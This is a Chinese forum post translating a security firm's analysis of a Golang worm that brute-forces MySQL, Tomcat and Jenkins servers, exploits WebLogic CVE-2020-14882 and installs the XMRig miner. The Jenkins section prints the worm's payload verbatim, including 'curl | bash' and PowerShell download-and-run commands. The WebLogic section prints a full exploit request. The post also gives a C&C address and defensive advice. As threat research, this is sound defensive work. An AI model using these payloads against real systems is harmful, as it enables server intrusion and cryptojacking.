首页
社区
课程
招聘
[翻译]新型 Golang 蠕虫在服务器上投放 XMRig Miner 病毒
发表于: 2021-1-4 17:23 2279

[翻译]新型 Golang 蠕虫在服务器上投放 XMRig Miner 病毒

2021-1-4 17:23
2279

译者:知道创宇404实验室翻译组

 

原文链接:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/

 

介绍

 

12月初,我们发现了一种新的用Golang编写的蠕虫。该蠕虫延续了 Golang在2020年流行的多平台恶意软件趋势。

 

该蠕虫试图在网络中传播,以便大规模运行XMRig Miner。恶意软件同时针对Windows和Linux服务器,可以轻松地从一个平台转移到另一个平台。它的目标是面向公众的服务:密码较弱的MySQL、Tomcat管理面板和Jenkins。在较旧的版本中,该蠕虫还尝试利用WebLogic的最新漏洞:CVE-2020-14882。

 

在我们的分析过程中,攻击者不断更新C&C服务器上的蠕虫。这表明该蠕虫处于活跃状态,并且可能在将来的更新中针对其他弱配置的服务。

 

技术分析

 

该攻击使用三个文件:一个dropper脚本(bash或powershell)、一个Golang二进制蠕虫和一个XMRig Miner,所有这些文件都托管在同一C&C上。

 

目前,还未检测到ELF蠕虫二进制文件和bash dropper脚本。

 

图1显示了VirusTotal中的ELF蠕虫二进制检测结果。

 

 

图1:在VirusTotal(ead2cf8ab7aef63706b40eb57d668d0a)中完全未检测到ELF文件

 

该恶意软件在Linux和Windows操作系统上的行为类似。我们将在下面描述Linux蠕虫感染流程。

 

Linux蠕虫感染流程

 

在执行后,蠕虫会检查受感染计算机上的进程是否正在侦听端口52013。此端口上存在的侦听器可充当恶意软件的互斥体。如果该端口的套接字已经打开,则实例将退出,否则它将在该端口上打开网络套接字。

 

在旧版本中,该蠕虫会将XMRig Miner作为Network01解压缩到tmp文件夹中并运行它。 使用名为go-bindata的Go资源嵌入包将矿工嵌入Golang二进制文件中。恶意软件使用bindataFile函数解压缩嵌入式XMRig Miner二进制文件。图2显示了此文件中的函数。

 

 

图2:xmrig\u linux\u amd64.go文件

 

恶意软件将使用TCP-SYN扫描网络,以便找到它可以暴力攻击并在网络上传播的服务。它将扫描具有与这些服务有关的开放端口的IP:蠕虫的较旧版本上为8080(对于Tomcat和Jenkins)、3306(对于MySQL)和7001(对于WebLogic)。这些漏洞利用程序均在src“exp”(漏洞利用)代码下具有一个程序包。

 


图3:exp文件和函数

 

蠕虫使用gopacket库,该库为Go提供C绑定,以使用libpcap读取网络数据包。通过运行pcapc,蠕虫会获取用于收集ACKS的网络数据,并继续对服务进行暴力破解。图4显示了蠕虫在Tomcat和MySQL服务上的暴力破解以及利用。

 


图4:蠕虫输出的片段

 

攻击后,恶意软件将提供加载程序脚本:ld.sh(Linux)和ld.ps1(Windows)。加载程序负责在被利用的服务上删除并运行XMRig Miner和Golang蠕虫。图5和6中的加载程序脚本如下:

 


图5:ldr.sh——基于Linux的Dropper bash脚本

 


图6:ldr.ps1——基于Windows的Dropper powershell脚本

 

攻击流程

 

下面介绍每种服务的攻击流程。

 

MySql:3306端口

 

该恶意软件将运行暴力攻击。该恶意软件使用包含弱凭据的硬编码字典(例如root:123456)来进行此攻击。

 

成功登录后,它将运行一个shellcode,以使用mysql UDF获得本地特权升级。该漏洞利用程序以十六进制字符串形式嵌入二进制文件中。该蠕虫针对每种操作系统和体系结构(UDFLINUX32,UDFLINUX64,UDFLWIN32和UDFWIN64)都有利用。浏览此处以获取有关漏洞利用的更多信息。

 

运行漏洞利用程序后,有效负载将使用sys_exec命令删除并运行加载程序脚本。URLWIN和URLLINUX存储删除程序脚本URL。图7和8显示了每个操作系统的有效负载。

 


图7:MySQL查询——Linux有效负载

 


图8:MySQL查询——Windows有效负载

 

Tomcat:8080端口

 

恶意软件将使用基本身份验证在管理面板上运行凭据。

 


图9:Tomcat管理面板的身份验证请求示例

 

试用成功后,恶意软件将尝试部署WAR文件(Web应用程序资源),该文件将用于传输包含恶意有效负载的1.jsp文件。

 

该恶意软件将发送Get请求并使用jsp文件解析参数%s/1.jsp?win=%s&linux=%s。这些参数将包含dropper脚本URL。然后,jsp脚本将删除并运行加载程序。

 


图10:1.jsp文件脚本

 

Jenkins:端口8080

 

与以前的攻击类似,该恶意软件暴力破解Jenkins密码,登录并运行以下负载:

 

cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash

 

println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()

 

WebLogic:7001端口

 

在旧版本中,该恶意软件利用了最新的WebLogic远程代码执行漏洞CVE-2020-14882。它将获取请求发送到WebLogic服务,并将GET请求标头用作有效负载的一部分。

 

GET
/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread
%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20
field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible
(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(“getServletRequest”).invoke(obj);String%%20cmd=req.getHeader(“cmd”);String[]%%
20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,req.getHeader(“win”)}:new%%20String[]{“/bin/sh”,”c”,req.getHeader
(“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();

 

weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work.
getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
(result));work.getServletOutputStream().flush
();}currentThread.interrupt();’) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O – %s) | bash& )
win: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)

 

预防措施

 

1.使用复杂的密码,限制登录尝试,并在可能的情况下使用2FA(双重身份验证)。
2.尽量减少使用面向公众的服务。
3.使用最新的安全补丁更新软件。
4.使用Intezer Protect之类的Cloud Workload Protection Platform(CWPP)可获得对系统代码的完整运行时可见性,并在任何恶意或未经授权的代码上收到警报。 这里有一个免费的社区版。

 

总结

 

在2020年,我们看到了针对不同平台(包括Windows、Linux、Mac和Android)的Golang恶意软件。这种情况将在2021年继续下去。

 

事实上,蠕虫的PE和ELF恶意软件的代码几乎相同,而ELF恶意软件在VirusTotal中未被检测到,这表明Linux威胁仍然在大多数安全和检测平台下存在。

 

IoCs

 

C&C

 

185[.]239[.]242[.]71(ZoomEye搜索结果)

 

Files

 



[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//